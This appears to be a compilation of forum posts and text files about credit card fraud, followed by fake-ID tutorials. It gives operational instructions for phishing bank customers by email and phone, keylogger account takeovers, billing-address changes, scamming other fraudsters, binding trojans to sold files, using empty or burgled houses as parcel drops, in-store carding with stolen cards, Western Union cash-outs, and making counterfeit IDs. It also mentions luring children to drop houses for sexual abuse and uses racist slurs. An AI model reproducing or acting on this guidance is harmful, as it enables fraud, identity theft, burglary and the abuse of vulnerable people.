higher prices don't be afraid to haggle down to these prices or a little bit lower. COBs go for a little bit
|
||
higher in ranges of £15-£20 because the vendor needs to get full info on someone and then change the
|
||
billing address through the bank to where ever your drop is.
|
||
Now when you go in the channel don't fucking say or request anything, shut up and see what the vendors
|
||
are saying they have to offer and then send them a private message and talk to them. If any "vendor"
|
||
messages you 1st trying to push onto you to buy from them then they're most likely a ripper; however
|
||
don't piss off the rippers or assume someone is a ripper because you never know who is going to be there
|
||
to help you out later on down the line or who might be pissed off enough to fuck you over.
|
||
I can't give any big advice on not getting ripped in IRC because you don't personally know anyone in
|
||
there at all, you just have to take your chances (expect to get ripped your 1st few times going in there, just
|
||
don't go to them again, because if they get away with it once they'll definitely try again if you go back to
|
||
them).
|
||
DO NOT BUY ANY WU BUG(Western Union Bug); it is a massive ripper technique which is bullshit.
|
||
The WU BUG used to work but was patched a looong time ago, most of the time now you'll get nothing
|
||
or you'll end up with a rootkit on your comp. Rippers always say ridiculous prices for these too such as
|
||
$200+; but if someone says lower prices it's still bullshit and most likely a rootkit/trojan/keylogger going
|
||
to be installed on your machine while you get some useless program that does nothing.
|
||
Ripping
|
||
Easy as hell to do, not much photoshop skills needed really either.
|
||
Bullshit and say you're selling full info (you're getting the info from fakenamegenerator.com or any credit
|
||
card gen program; of course they don't fucking work), if they want to see proof just use your own legit
|
||
CC or another stolen CC to buy something and show them proof of you buying it, except photoshop the
|
||
details to that which you're going to be giving him later. Take payment through Western Union ONLY
|
||
(since e-gold isn't around anymore), then just send him the bullshit info.
|
||
If they want the report to go to their phone via SMS then just spoof a text with an sms bomber saying
|
||
some bullshit reports. Then get the payment via WU.
|
||
To get victims you message them 1st, message out in the whole channel 1st and then PM random buyers
|
||
(look for ones requesting).
|
||
::::WU BUG::::
|
||
seriously this is bullshit, all people are doing are showing buyers fake screenshots made in PS or are
|
||
actually making quick programs themselves and taking screens of them and then selling them, although
|
||
essentially they're useless. You want to do this, but you want to actually send them a file as well, but bind
|
||
a keylogger or trojan to it; not only can you rip them out of their cash to buy your infection but the info
|
||
you get from spying on them will be so much more as well ranging from their info to other stolen CC
|
||
info, you'll have a backdoor on what they do and can exploit it.
|
||
|
||
If you can't be bothered making fake screenshots then get them from other rippers trying to sell them, get
|
||
them to show you pics, vids and info; then use it for yourself and rip some n00bs.
|
||
The following users say "It is so good to hear it!":
|
||
Phishing for Change of billing
|
||
A billing address is the details used for a person's bank account and most often their credit cards and
|
||
everything else too, this includes their phone number too.
|
||
What a change of billing (COB) is in a nutshell is changing the billing address registered to the card to
|
||
your drop address you're gonna be using. When you want to card BIG at various online websites the
|
||
orders will look more legit that you're not sending it else where other than the one registered to the card
|
||
(obviously after you've changed the billing address), meaning the delivery of your goods will be quicker
|
||
and will require a lot less verification.
|
||
Most of the time you change the billing address over the phone but SOME banks will let you do it online;
|
||
when you phone up to change it you use spoofcard.com or the pay as you go mobile phone you're going
|
||
to be using when carding, or beige boxing
|
||
When changing the billing address you need to know as much info as possible about the person's billing
|
||
address you're changing, because the bank is going to ask you 3 security questions you set (such as
|
||
mother's maiden name) before they change it.
|
||
You can phish for details over the phone (see the phishin over the phone section above), however it's best
|
||
to use keyloggers and phisher pages for this with a MIX of over the phone.
|
||
Use through phishing pages
|
||
2 methods here, 1 including over the phone, one isn't.
|
||
The method without the phone is to just send a ton of e-mails out to random people and send them a html
|
||
e-mail telling them they need to update their information before the account is suspended or their account
|
||
with the bank will be cancelled, you have them go to a phisher page off the template and the phisher
|
||
pages "requires" them to answer security questions like their mother's maiden name, their pet's name, you
|
||
know those type of questions.
|
||
Another method is to call them up pretending to be the bank and saying there have been different ip
|
||
ranges logging on their account and they need to confirm their details online, link them to the phisher
|
||
page and have them fill in the details; have the phisher page redirect to the actual online bank's login
|
||
page; then ask if they've done that over the phone, tell them to wait a minute while you confirm and check
|
||
it all out, say it's all clear and tell them to log in, they'll think nothing of it and you now have the answers
|
||
to their secret questions which you can give to the bank itself when you go to change the billing address.
|
||
Use through keylogging
|
||
This is my favourite method and what I told S_E last night in IRC.
|
||
You have a hardware (or software) keylogger set on someone's comp, use sock proxies when logging into
|
||
their online bank account and then change their password, call them up pretending to be the bank and then
|
||
get them to go to the actual online bank link and fill in their forgotten password options (answering secret
|
||
questions) or of course get them to go to your phisher page and fill in the details (this is if you want to
|
||
add more fields to get more info) then pretend to be checking it all over, then change their password again
|
||
to some random letters and numbers and give it to them to log back in (it doesn't matter because they're
|
||
keylogged and you'll get their new login if they change the password again anyway), you'll have all their
|
||
info logged down too for you to answer your questions when you call the bank.
|
||
|
||
Best time to do all of this is around the 10th day of the month (people usually get their credit reports at
|
||
the start of every month), this will give you plenty of time to card enough for the remaining days until
|
||
they see they're not getting their reports coming to them anymore (if you're crafty you can pretend to have
|
||
cancelled the online bank account for them after they've gave you the info you need to know; I used to do
|
||
this method and keep it going without them knowing).
|
||
You need as much info as possible when calling up the bank to change the billing address.
|
||
Drops and what you need to know about them
|
||
Drops and what you need to know about them
|
||
What drop locations are and what they’re used for
|
||
Well simply a drop location is an abandoned house, or any house that is not under your name or any of
|
||
your details. You can lead young children into these to make a sexy time with them, get items delivered to
|
||
them that you want no one else to find about or risking finding, or just use it to squat in if you have no
|
||
where else to go. Basically they are used in ways of keeping your nose clean and are used by mostly scam
|
||
artists and sex offenders.
|
||
How to find a drop location
|
||
There are many ways of finding a drop location for use, whether it temporarily or permanently (although I
|
||
suggest swapping and changing locations because my main last one I used got raided or broken into and
|
||
is boarded up and too hot to use); I will suggest 3 ways on how you can find some for you to use.
|
||
One final tip is don’t bother going for houses that are boarded up at the front where it is visible to passers
|
||
by (it’s okay if round the back is boarded up)
|
||
Way #1
|
||
As just mentioned you can go about it many different ways but one of the ways the way I prefer to go
|
||
about it is you should be looking around some older housing estates and more ghetto areas (could also tie
|
||
in with the sob story you feed to a paedophile/child predator you are possibly scamming). For example in
|
||
Derby there is an area called Sinfin, but now there is 2 parts to it and they are New Sinfin and Old Sinfin.
|
||
Old Sinfin is the are you would want to go to, because it’s older it’s most likely to be alot more houses
|
||
abandoned or deemed unsafe (it’s bullshit).
|
||
Or if you were lucky like I once were then you could ask around your mates if there are any empty houses
|
||
in their area. If there are then you’re in luck and can even have your friend keep tabs and watching over it
|
||
for you and give you details so you can keep it all under wraps and safe. It may be alot riskier with
|
||
neighbour hood watch morons, and nosey neighbours, but it’s still ideal and a little bit less suspicious
|
||
than the abandoned houses in the older estates, and this is because the older estates usually have all
|
||
abandoned houses close by, where as the odd one out covered with a street filled with inhabitants will
|
||
seem less suspicious to the postman.
|
||
Way #2
|
||
Now this is a temporary way of finding a drop location, but is sometimes an effective ways and means of
|
||
getting what you need but has a bit more risk to it; and personally is a way I have never used even till
|
||
today.
|
||
Have you ever been eavesdropping on a conversation between a neighbour and one of their family
|
||
member’s or friends’, or been down the pub and heard the common as muck chavs boasting about a
|
||
holiday they are going away on for however long they say they’re going away for?
|
||
Well listen out for these type of conversations. Because them away on holiday means the house is most
|
||
likely going to be empty for however long they’re going away for. So if you already know where they
|
||
live then that’s great the job is made easier; if you know their first name and surname then look them up
|
||
in the phone directory and find their address to go along with the number. If you don’t know where they
|
||
live, or their name then just listen out to see if you can hear their names come up in conversation; just
|
||
remember that if it’s in the pub it’s most likely local to it that they live, so you could easily find out by
|
||
|
||
following them home and seeing.
|
||
Way #3
|
||
Possibly the safest, easiest way of finding, and quickest way to get a drop location.
|
||
Most areas have houses up for sale am I right?
|
||
Or houses that are up for bidding on, am I right?
|
||
Well they have a website with a full list of your local area(s) that have houses up for bidding on and for
|
||
sale.
|
||
For example I would search Derbyhomefinders and look at the list on their site.
|
||
All of these houses are empty and often do not have a sign up outside them either (if they do then just
|
||
take it down and hide it somewhere for the time being).
|
||
The advantage to using the lists to find the drop locations to use is it will usually say when the bid is up or
|
||
if the house has been sold (this lets you know that it will not be ideal to use that certain house now it’s
|
||
most likely to be inhabited) and will have the houses on there that are still being bidded on and that are
|
||
still up for sale, these are the ones you want to be using.
|
||
The best thing about this though is that you have a full list of many different drops to use (like I said
|
||
earlier it’s best to switch drop locations and use many different ones) and it is updated with new ones
|
||
coming up and tells you full which ones are over and not usable.
|
||
You just need to know your agencies for housing and find their website.
|
||
Obtaining and using drop locations
|
||
You’re probably thinking now I’ve got/found one that’s great and everything but how the fuck do I keep
|
||
it a secret?
|
||
for way 1
|
||
this much is obvious that you do not tell anyone except your partner if you’re doing a team bait, and 1
|
||
trustworthy friend to keep tabs on it if you are doing a bait on your own, and also the paedophile, but only
|
||
when he asks. But there is alot more to it than that, also maintaining your abandoned house and making
|
||
the postman think someone living there.
|
||
Appearance isn’t everything at all in any case and it isn’t for this either, but of course you try to make
|
||
yourself look as best as you can. The same principles are applied to keeping an abandoned house; you
|
||
should atleast try to get a new lock put on the door which you will also have a key for; just so that if any
|
||
druggies go there before you then they will have a tougher time getting in (of course it’s ideal you don’t
|
||
get somewhere known to druggies but this is an example of what use it could have) but also if there is a
|
||
fucked up lock on a door then it’s pretty damn obvious only low life scum or some criminal(s) are using
|
||
the place, so buy a new lock for the door and get it fitted on, whether you do it yourself or get assistance
|
||
from a friend who knows what they are doing.
|
||
Now as for overgrowing plants and weeds, you can only do so much without being suspected. Do not use
|
||
a lawn mower, use clippers and hack it as short as you can. It’s best to get all of this done when everyone
|
||
is at work during the day time; but in reality it isn’t ideal at all and most criminals don’t tend to bother
|
||
with this. Instead they will make it seem someone is in but is just too ill to do anything with the garden or
|
||
is just a lazy fucker. They do this by often writing up a note and sticking it to the door or leaving it on the
|
||
floor near the door saying something such as "No milk today please" or "Not in, please leave packages at
|
||
post office".
|
||
Write a few letters to yourself aswell ready to come on the same day as the parcel, this will make it look
|
||
like you get mail and not just the one off suspicious package now and then.
|
||
|
||
Now 2 alternatives, you can either get to the abandoned house and take the mail from the mailman while
|
||
acting like you live there (you must look the part as lazy or disabled if you have ingrown plants in "your"
|
||
garden) or you can leave a note saying to take any packages to the post office for pick up because you are
|
||
at work or something along those lines.
|
||
One final rule is do not be in and out of the hideout everyday or whatever, visit probably 2 or 3 times a
|
||
week.
|
||
Way 2
|
||
Now there are 2 ways to go about this; you can either just get to the house early in the morning a little bit
|
||
just before the postman arrives and be at the house outside pretending you’re just about to leave and then
|
||
sign for the package (if you need to) and collect it off the postman and then be on your way after he’s
|
||
gone. Or if you’re good at bypassing alarms (I have a guide on burglary) or the house has no alarm then
|
||
you could bump key in at night time (not recommended) or during the day time the day before when
|
||
everyone else will be at work aswell, and hide out there for a bit (hell even take some food that is left in
|
||
the fridge and feed yourself since you’re spending the rest of the day and early morning there). Basic
|
||
rules are don’t have tv on too loud if at all, or if you do then put head phones on into the tv if it’s that old
|
||
of a model, and leave everything how it was left an say upstairs so incase any neighbours or anyone
|
||
looking after the house while the owners are away come in then you have time to hide.
|
||
Obviously if it’s a package you don’t have to sign for then you can stick up a note on the door early in the
|
||
morning before the post man comes saying to leave it round the back or what ever excuse you wanna
|
||
make up.
|
||
Way #3
|
||
Easy, just as previously except you don’t have to be as cautious and often the alarms are disabled for that
|
||
time being anyway so you don’t have to worry as much if you bump key into it.
|
||
As also stated previously in this guide, if there are any up for bidding/for sale signs then take them down
|
||
and just get them out of the way.
|
||
You can even go to this one the night before instead of day time because no one is hardly going to be
|
||
watching over this unless it’s in a neighbourhood watch area (in which case you chose the wrong area
|
||
anyway, you dumbass).
|
||
Some basic tips to keep in mind
|
||
-- Be there before the postman! can’t stress this enough, it’s too fucking obvious if you’re late.
|
||
-- When signing for packages, if you need to, then sign a fake signature (the sig can be any made up fake
|
||
shit) with your hand that you don’t write with, so it’s harder to trace incase things go tits up later on down
|
||
the line.
|
||
-- Take anything in any guide with a pinch of salt, things may be different circumstances for you and your
|
||
situations; guides are to be used as basis’s.
|
||
The following users say "It is so good to hear it!":
|
||
CC scan tutz:
|
||
Code:
|
||
http://www.zshare.net/download/51706978a8180d65/
|
||
http://www.zshare.net/download/51707169cc576e5d/
|
||
Also will say the main reason we use SOCK proxies:
|
||
Sock proxies can receive and send most types of internet traffic such as e-mails, java, flash etc; sock
|
||
proxies are more private as well and much more secure.
|
||
|
||
Socks traffic is anonymized as it is sent out and the incoming traffic is filtered.
|
||
You can run most programs through SOCKS easier as well.
|
||
Bear in mind it's wise to disable java, and flash and have your cookies cleared before and during use of
|
||
the proxies as they can reveal your identity.
|
||
Disable Javascript, until you need to use it (usually when submitting info).
|
||
You can find socks(5) proxies online, scanning them to see which ones are still high in anonymity and are
|
||
working is done through certain scanners you find online.
|
||
I use accessdiver to check all my proxies from the lists I got.
|
||
If I ever get a log in for anyproxy again (if I decide to start carding again) then I'll be sure to share some
|
||
lists sometime.
|
||
Infact you can actually buy them off the anyproxy.net website, except they're cheaper in IRC.
|
||
An extra tip about drops: You can order it to any address you want really, call them up saying they got the
|
||
address wrong and are sending it there instead (say you live on a street that sounds similar to theirs), ask
|
||
if they can sign for it and keep it ther euntil you can pick it up after work. This is the best method.
|
||
Also bear in mind about instore carding for the UK, becaus eof chip and pin it's ALOT harder to skim
|
||
ATMs, you have to use the old ones that are in some paki shops. They're hard to find but they do still
|
||
have them in places. For an example of what atm type I'm on about search for the skimming vid that The
|
||
Real Hustle did.
|
||
---------- Post added at 08:12 AM ---------- Previous post was at 08:09 AM ----------
|
||
I think I should add the updates I posted in another thread in this one as well, it's some need to know shit.
|
||
Nothing in here is outdated, but this is additional needed info.
|
||
Carding isn't so easy unless you have full details and get them all changed, even then they may bring up a
|
||
red flag, it depends on the site you're carding.
|
||
To be easier for example I'd card people who live in the same country as me only, just to make the job
|
||
easier. Why? IIN/BIN is one of the first things they check now. Unless you steal all of their details and
|
||
call up the bank and tell them you're going "abroad", otherwise all transactions would just be stopped. Get
|
||
the COB address changed also, obviously this still is absolutely needed to be done to avoid the top red
|
||
flag. In that case it'd be only good for instore carding and if you'd phished the pin from them, or if you're
|
||
buying from IRC get full info.
|
||
Simple way, keep it to your only country and you'll have less work and trouble coming your way.
|
||
If you're going to card then card big, but not the most expensive thing in stock obviously, don't fuck
|
||
around with multiple small purchases.
|
||
Identifying the place the card was issued from can be done through various methods;
|
||
http://binbase.com/csv.php?module=search
|
||
http://www.binchecker.com/
|
||
2 to name a few.
|
||
|
||
This will help you pick out the phished cards and which ones are of use to you.
|
||
---------- Post added at 08:13 AM ---------- Previous post was at 08:12 AM ----------
|
||
Ok back on topic folks, carding right wanna do it??
|
||
Don't think it's as easy as getting a hold of a cc, going to dell.com and ordering a 1k laptop. It's not gonna
|
||
work buddy. You need to find the best method to outsmart the merchant, they know all about this kind of
|
||
fraud and they suspect it in many ways. Common sense is your best friend. Would it make sense if the
|
||
'real' owner of the card orders 1k worth of electronics to an out of state random house. Sure it's possible,
|
||
but they're not gonna buy it. First thing that's gonna happen is check the purchase, most likely the
|
||
cardholder is gonna get a call from the bank but the transaction had probably already been canceled
|
||
before this even happened. Why?? Because they know. It's your job to start researching on how to card
|
||
successfully but I'll give you some tips for online carding.
|
||
AVS
|
||
There's a neat little trick, they only check numbers. So let's say the card owner's address is 673 W Dook
|
||
st. You can find a drop that is 673 S. Dr Avenue. This will pass the AVS system.
|
||
COB'S
|
||
Means change of billing. There's a couple of ways to do it, online or by phone. Alot of banks only need
|
||
ssn and dob so a lookup for them will sometimes do it. A little advice is do not card 2k 3 hours after you
|
||
changed the billing. Wait about 3-4 days or maybe a week. Common sense buddy.
|
||
BIN (bank identification number)
|
||
keep logs of them, you found one that made you 5k?? save it and get it again. This is one of the most
|
||
important things in carding and make sure you keep the gold to yourself.
|
||
Western Union
|
||
Yes it is possible, but it's a pain in the ass. You need to try and try...and keep trying til you discover the
|
||
treasure. Make sure you get good credit reports.
|
||
I'll tell you one thing though, USA cc suck ass. I recommend the good one's Germany, Denmark, Sweden,
|
||
Greece. But some USA bins are still good just look.
|
||
---------- Post added at 08:15 AM ---------- Previous post was at 08:13 AM ----------
|
||
I just thought I'd add some more stuff about instore carding because someone I know had an error pop up
|
||
on one of his cards today because his dumpz on one of the cards had died. This isn't usually a problem
|
||
because this person used to skim for his own when it was easier, but now he buys them from IRC instead.
|
||
When you buy dumpz from vendors and are a regular carder there will be times you're carding instore and
|
||
have errors come up at the point of sale. Now because he chose a dumb nigger cashier this was easier to
|
||
get out of, so keep in mind to go for nigger cashiers, younger people and dumb women.
|
||
He got the worst error come up, which was "call for authorization". Now you do not want them to do this
|
||
at all, so you should make it clear you don't have much time for this, tel them you'll call the bank
|
||
tomorrow and ask them to try another one of your cards. There are many other excuses as well but this
|
||
was the one the person I know used. You must pu your hand out as if to insist you want the card back
|
||
whilst talking to them, most of the time they won't know whether to give it you back but will give it you
|
||
back when put on the spot. If you don't have another card just say you will call the bank about it and
|
||
come back tomorrow.
|
||
The key to this however is to remain calm. Then give them another card.
|
||
|
||
Another error is "declined". You'll get this eventually if you have good dumpz on your card, the limit has
|
||
to end somewhere (get a good IIN to make more money). Before hand you should make out you're not
|
||
sure how much money is on the card "I hope I have enough money to cover this", or when it's declined
|
||
just stay calm and give them another card and tell them you think the limit must be gone on that one, you
|
||
had a feeling that was going to happen; laugh it off. If you don't have another card on hand say you'll be
|
||
back soon and you're going to the cash point.
|
||
There's many other merchant error codes and I won't cover them all (I linked to them in another thread
|
||
somewhere when kirby was mod) but once you have practice bullshitting with these errors you'll begin
|
||
getting good at it, it's all pretty much the same action you should take anyway.
|
||
Now you're probably thinking if you have the PIN as well then why not just cash out at the cash point and
|
||
then pay in cash? You can only draw out £300 within 24 hours most cards.
|
||
Also if you're carding expensive goods then have some other ID which matches the name on the credit
|
||
card, they'll ask for this majority of the time if it's expensive goods. Sometimes the guy I know has been
|
||
able to get away with just having a fake business name tag ID whipped up. This won't wash if you're
|
||
carding rolexes or gemstones. It's best to have another form of fake ID like a driing licence or something
|
||
like that.
|
||
---------- Post added at 08:16 AM ---------- Previous post was at 08:15 AM ----------
|
||
COB'S
|
||
Means change of billing. There's a couple of ways to do it, online or by phone. Alot of banks only need
|
||
ssn and dob so a lookup for them will sometimes do it. A little advice is do not card 2k 3 hours after you
|
||
changed the billing. Wait about 3-4 days or maybe a week. Common sense buddy.
|
||
BIN (bank identification number)
|
||
keep logs of them, you found one that made you 5k?? save it and get it again. This is one of the most
|
||
important things in carding and make sure you keep the gold to yourself.
|
||
Western Union
|
||
Yes it is possible, but it's a pain in the ass. You need to try and try...and keep trying til you discover the
|
||
treasure. Make sure you get good credit reports.
|
||
I'll tell you one thing though, USA cc suck ass. I recommend the good one's Germany, Denmark, Sweden,
|
||
Greece. But some USA bins are still good just look.
|
||
He's right about the COB. It takes a while to change now, so get it changed as early into the month as you
|
||
can, the 8th or 9th is usually good enough for the guy I know.
|
||
IINs are the most important now indeed if you want to make a good profit and not get busted by limits.
|
||
UK IINs aren't that bad but the best ARE germany, spain and Turkey from what I've seen so far.
|
||
I've got a huge list of IINs which I'm a little reluctant to share.
|
||
As for Western Union I've heard you need a lot in a lot of countries but in the UK it's not too hard at all.
|
||
Get some sock proxies and make an account online. Add the card details and
|
||
the receivers details then go through the process.
|
||
If it all goes well they give you a MTCN (money transaction control number).
|
||
Call them up to confirm and answer their questions about why you're sending the money and if you know
|
||
|
||
them. I usually give the excuse that I'm a job agent and it's his weekly pay. They ask other qustions like
|
||
your D.O.B (this is why you need to be good at phishing or make sure you're buying fullz). They'll also
|
||
ask the name of the bank that issued the card, so see the BIN/IIN checkers I linked earlier.
|
||
I've heard of some people being asked if it's their first time making a transfer through WU from credit
|
||
card. This is what catches you out or confirms the whole thing; just say yes, it's a 50/50 chance.
|
||
Then go to a WU agent with fake ID of the contact details you gave of the reciever, or if you've got a
|
||
trustworthy person to pick it up then give his and get him to pick it up.
|
||
The shit thing is you can only send £100 each transaction and only £600 a month. That was with a UK
|
||
IIN, I'm not sure if it'd be different with another card.
|
||
Western Union is good for cashing out but it's not worth all of the stages and there are tons of easier
|
||
ways.
|
||
Novelty ID Guide
|
||
Counterfeit ID Cards
|
||
These are licenses that are completely different from the actual valid license. They may be designed to
|
||
look "official" or they may follow a familiar, earlier license style.
|
||
Altered ID Cards
|
||
Additions and changes are often made to an actual, valid license, or a photograph of a valid license. This
|
||
type of technique is used by minors for liquor purchase , by credit card defrauders who need supporting
|
||
IS, and others involved in identity change efforts
|
||
Forged ID Cards
|
||
When alterations are combined with forgery of the license (usually adding a new photograph), fraud can
|
||
be detected by checking for raised edges around the photograph, unauthorized lamination, a broken or
|
||
partial signature and missing or partial state seals at photo edge.
|
||
===============================================
|
||
Fake ID Guide--All you ever wanted to know but were afraid to ask
|
||
article by DrNick
|
||
So you want to get drunk this weekend. Or buy some cigarettes. It is sometimes easier to buy marijuana
|
||
and take advantage of the black market brought on by the War on Drugs. Or, follow on and learn how to
|
||
kill your brain cells with alcohol.
|
||
***
|
||
Table of Contents
|
||
I. Disclaimer/Legality
|
||
A. Getting ID
|
||
B. Making your own ID
|
||
C. Buying ID
|
||
D. Using the Fake ID
|
||
|
||
***
|
||
I. Disclaimer
|
||
Fake ID is both a state and federal crime. If caught you might not be charged with both, but who knows?
|
||
Usually making a fake ID is illegal in many states. It is usually a crime to alter existing state-issued ID, or
|
||
to create a new fake ID. These crimes include forgery and fraud. They are no fun to get charged with.
|
||
This site has some more info on it, it is a good example and food for thought:
|
||
{hxxp://www.colorado.edu/sacs/ralphie/a/Appendix_B,_Alc.html}
|
||
Using a fake ID to purchase alcohol or cigarettes is some sort of crime. These crimes all differ from state
|
||
to state, so check your local laws. I do not advocate creating a fake or fraudulent id. This information is
|
||
for informational and novelty use only. Do not break any laws. This is not intended for anyone evading
|
||
prosecution, warrants, etc. I will not hinder prosecution. I do not know how to create a new identity.
|
||
***
|
||
A. Getting ID
|
||
You can make it yourself or buy it. Some texts you might read talk about birth certificates and death
|
||
certificates and all that crap. There are some links included which will take you there. This phile will help
|
||
you make your own ID. This ID is intended primarily to get you into bars and help you buy beer. Don't
|
||
even bother trying to fool a cop or fed with it.
|
||
B. Making it yourself:
|
||
You will need a various combination of the following tools, but these are just guidelines. You should try
|
||
experimenting with different combinations and seeing which one works best for your ids! You can
|
||
probably find all you need here at Staples or your local stationary store.
|
||
1. Computer (if you don't have one just forget it)
|
||
2. Color scanner for computer (or access to a friends)
|
||
3. Color Printer (hardcore=die-sub printers, for home hacking try Epson 400, 600, 800 series)
|
||
4. Software--Adobe Photoshop, Paint Shop Pro
|
||
5. Cutting Tool: Exacto Knife (preferred method) or really sharp short blade on Swiss Army
|
||
Knife (used to cut out the printed id from the rest of the paper)
|
||
6. Adhesive: Strong Glue Stick or Double sided scotch tape (experiment here)
|
||
7. Posterboard or Manila file folder or Metrocard (strengthens the card--experiment here)
|
||
8. Contact paper (optional use only to get the right "look" or "feel")
|
||
9. A pencil
|
||
10. Paper to print front of id on--high quality inkjet or photoglossy depending on id. Don't even
|
||
bother with copy paper.
|
||
11. The ID you want to fake (whether it be New York, Connecticut, LILCO, or NYNEX)
|
||
12. Nail File (for smoothing ID's edges).
|
||
Also you might want to try 3M id cards. They come 2 to a sheet. Experiment.
|
||
How to Make it:
|
||
1. You need an ID or a template. You need to know what the legitimate 21 year old version of the ID
|
||
looks like. Its good if you have a legit ID on hand to compare yours with. Check the "{The I.D. Checking
|
||
Guide}" (hxxp://www.driverslicenseguide.com/) as an invaluable reference tool. It is a great book worth
|
||
the order. If you need to scan in your own picture or ID make sure it is very clean. Use a high resolution,
|
||
720 DPI is good. You must use at least 24 bit resolution. Making your own template is as easy as
|
||
recognizing the important information on the id and how to correctly present it.
|
||
2. Follow what the template says. Put the picture in the right place. Fill in the right blanks.
|
||
|
||
3. Find a good medium to print on and work with. Remember you are going to need a front and back for
|
||
this ID. I have seen fake NY State Ids using recycled Learners Permits. The new fake front is glued on
|
||
top of a learners permit so the back is the same. Sometimes though you don't have an old license around.
|
||
If not then scan the back of the drivers license and print it out on posterboard. Use the posterboard as the
|
||
back. Its not perfect but close. Again, you are encouraged to experiment and see if you can find
|
||
something better.. This is part of the process and helps you stay on your game as an artist.
|
||
4. Print the front out. Use a high quality paper, photo glossy is not necessary and is sometimes too thick
|
||
or glossy for the job. Depending on what ID you are imitating you may or may not need a laminating
|
||
surface.
|
||
5. Use a glue stick or double stick tape to adhere the front of your ID to the back.
|
||
6. Trim the corners with the knife (if necessary). If necessary you might want to use a nail file to smooth
|
||
the edges on the ID.
|
||
***
|
||
C. Purchasing Fake ID
|
||
If you live in a big city (ie: New York) walk down to the business districts (ie: Times Square, Eighth
|
||
Avenue, W. 47th Street) and you can find some shops. I am not 100% sure as I have never done this
|
||
myself but my friends have. Look and listen. In New York you can sometimes buy fake ID in the back of
|
||
luggage shops. Weird but true. It is often some fake looking out of state or some bad college id, but see if
|
||
it suits your needs. Most of the net is full of crappy novelty ID, nothing to buy beer with. Info on the net
|
||
will help you make your own.
|
||
***
|
||
D. Using the ID
|
||
So, you finally got an ID. One that says your 21 or 18 or however old you need to be to buy items (to
|
||
exercise your property rights!). So, now that you've invested $20-$100 you're all set, right? Wrong! If you
|
||
were I wouldn't waste my time by writing this, or make you read it. This is free advice. Take it. Kant says
|
||
the only right acts are those with good intentions. I try.
|
||
Don't consume alcohol in public where doing so is prohibited by law (ie: on the street). This is because it
|
||
is illegal and when some cop finds out you are not only drinking on his streets but not even twenty-one he
|
||
will throw a fit. Save yourself the trouble.
|
||
If your ID is successful or not depends on many things. Some are beyond your control, such as the club's
|
||
policy on fake id. Some are within your control, such as how you present yourself and what you exude.
|
||
Factors beyond your control:
|
||
The setting. Ie: the bar, restaurant, store. Hopefully you can choose a place that is easily passable.
|
||
Possibly within your control:
|
||
Your server/bouncer. When in a grocery store DO go towards the 19 year old cashier. The younger ones
|
||
usually care less about this whole ID thing. DO take advantage of the Korean/Pakistani Immigrant grocer.
|
||
In the midst of all of Guiliani's Law and Order crackdown my friend at NYU can still buy his Coronas
|
||
quite easily. The immigrant clerk questions my friend "Id?" To which my friend replies (with a smile)
|
||
"Yes ID." Your biggest friend is your great personality. Look happy and confident and you will walk
|
||
away with the beer. DON'T PANIC!
|
||
What you can do:
|
||
Know your fake birthday, name, address, zip code all that info on the card and your Zodiac sign. Go to a
|
||
place that has accepted your ID in the past! This is my best advice. When waiting on a line for admission
|
||
to a club have the ID ready--be confident! When you are purchasing at a grocery store or take out place it
|
||
is nice to have it ready to present to the cashier. Try to view it as a formality that you are accustomed to
|
||
engaging in. You are used to getting carded...remember?
|
||
In a restaurant chances are about 50/50 you will be carded when ordering from a waiter. If you are with
|
||
|
||
your parents these odds decrease, with your friends these odds increase. However I have been denied in
|
||
older company and served with my friends. Lucky Chengs has been particularly lenient...of course in that
|
||
case you wouldn't even need ID. What can I say? I am only trying to help.
|
||
============================================
|
||
How to build a fake College ID
|
||
article by Bishop
|
||
I. Introduction
|
||
A Fake ID is realitively easy to make. In this article I will teach you how to build a fake College ID.
|
||
College ID's are much easier than a drivers licence, becuase of the
|
||
number of colleges. As long as they have your Date of Birth you'll be ok. It will be approx. $75.00
|
||
investment to buy the equipment.
|
||
II. Necessary Equipment
|
||
I have built many fake College ID's perfectly so stick to the recepie
|
||
GBC DocuSeal 30 -- Laminator
|
||
GBC Laminating Pouches -- Laminate Card (25 to a box) (Badge Card Size)
|
||
Bulldog Paper Slicer -- a cutting board and a slicer to make perfect cuts
|
||
New Razor Blade -- allways prove useful
|
||
Adobe Photoshop 4.0 -- Necessary Software
|
||
Ink Jet printer -- never use a dot matrix! (color optional)
|
||
Recent Photograph -- This will be a photo ID (wallet size)
|
||
A VHS tape -- ya' know the kind you put in your VCR
|
||
III. Using the Software
|
||
Make dimention of the card 3.5 inches wide 2.333 inches tall Now using text only put in the name of a
|
||
College one state away from you. Use only adverage colleges, not Yale or anything. Use Ariel Rounded
|
||
MT Bold for the name of the college. Then under
|
||
that use Calisto MT for the town the college is in.
|
||
--------------------------------------
|
||
| | |
|
||
| Photo | Marywood |
|
||
| goes | College |
|
||
| here | |
|
||
| | Scranton, PA. |
|
||
| until the line | |
|
||
| | date / here |
|
||
--------------------------------------
|
||
|
||
The graphic above is a rough disription
|
||
Now you have the front, print out the card.
|
||
Next you have to give the card a back.
|
||
Make a new card with the same dimentions,
|
||
type the below using Ariel Rounded MT Bold
|
||
Birth Date: Height: Weight:
|
||
___________ _______ _______
|
||
___________________________________
|
||
print out the file
|
||
Use your Paper Slicer to cut out the card to the correct size. Then fill out the card
|
||
with the approate information. An existing card like a drivers liscence or credit card
|
||
can help. After both cards are cut out, get the badge card lamenate and insert both cards. Flip it over and
|
||
make sure you've done it right. Take out your picture and use the Paper Slicer to cut the picture out to the
|
||
size of the card and put it in place. Do not use any glue! Let the badge holder hold it in place.
|
||
Now get out that VHS tape and take it apart. Carefully remove tape and measure the exact width of the
|
||
paper card. Put the strip of film at the bottom on the Badge Card. It should look like a real card. You will
|
||
notice a tint / blur in the card. This is ok, don't worry. After it is centered and cut PERFECTLY!!!!!
|
||
put the card in the Leadered Carrier folder and make sure the stuff in the card doesn't move. Now plug in
|
||
the Laminantor, wait a minute and it be warmed up. Make sure the green light is on. Put the laminantor in
|
||
the on mode. Now slowly and carefully put in the folder adn laminate the card. Open the Carrier and take
|
||
out you new ID!!!!!
|
||
Please remember Fake ID's are an art NOT a science.
|
||
Try a few before you quit and, don't settle for an ID that has a flaw, Fake ID's are against the law!
|
||
IV. Getting away with it.
|
||
REHEARSE YOUR INFORMATION! assure yourself you know that you were born in
|
||
1978 or whatever year you need to be 18 or 21. I reccomend you keep the same name, height, weight you
|
||
really have.
|
||
==============================================
|
||
How to build a fake College ID #2
|
||
article by Epi
|
||
Ok, so you just got a new ID and ya want something to go with it. College ID's are really simple and you
|
||
only need these materials:
|
||
1. Laminator (ya don't got it then I can't help)
|
||
